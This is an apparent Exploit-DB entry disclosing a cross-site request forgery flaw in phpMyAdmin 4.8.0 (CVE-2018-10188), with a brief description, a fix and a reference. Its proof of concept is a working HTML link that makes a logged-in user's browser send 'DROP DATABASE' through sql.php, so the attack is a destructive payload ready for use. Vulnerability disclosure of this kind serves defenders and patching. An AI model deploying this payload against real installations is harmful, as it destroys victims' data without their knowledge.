phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery

EDB-ID:

44496

Author:

revengsh

Type:

webapps

Platform:

PHP

Published:

2018-04-23

# Exploit Title: phpMyAdmin 4.8.0 < 4.8.0-1 - Cross-Site Request Forgery
# Date: 2018-04-20
# Software Link: https://www.phpmyadmin.net/
# Author: @revengsh & @0x00FI
# CVE: CVE-2018-10188
# Category: Webapps


#1. Description
#The vulnerability exists due to failure in the "/sql.php" script to properly verify the source of HTTP request.
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute arbitrary SQL statement by sending a malicious request to a logged in user.
#2. Proof of Concept: This example sends HTTP GET crafted request in order to drop the specified database.


<html>
  <body>
    <a href="http://[HOST]/phpmyadmin/sql.php?sql_query=DROP+DATABASE+[DBNAME]">
      Drop database
    </a>
  </body>
</html>

#3. Solution: Upgrade to phpMyAdmin 4.8.0-1 or newer.
#4. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10188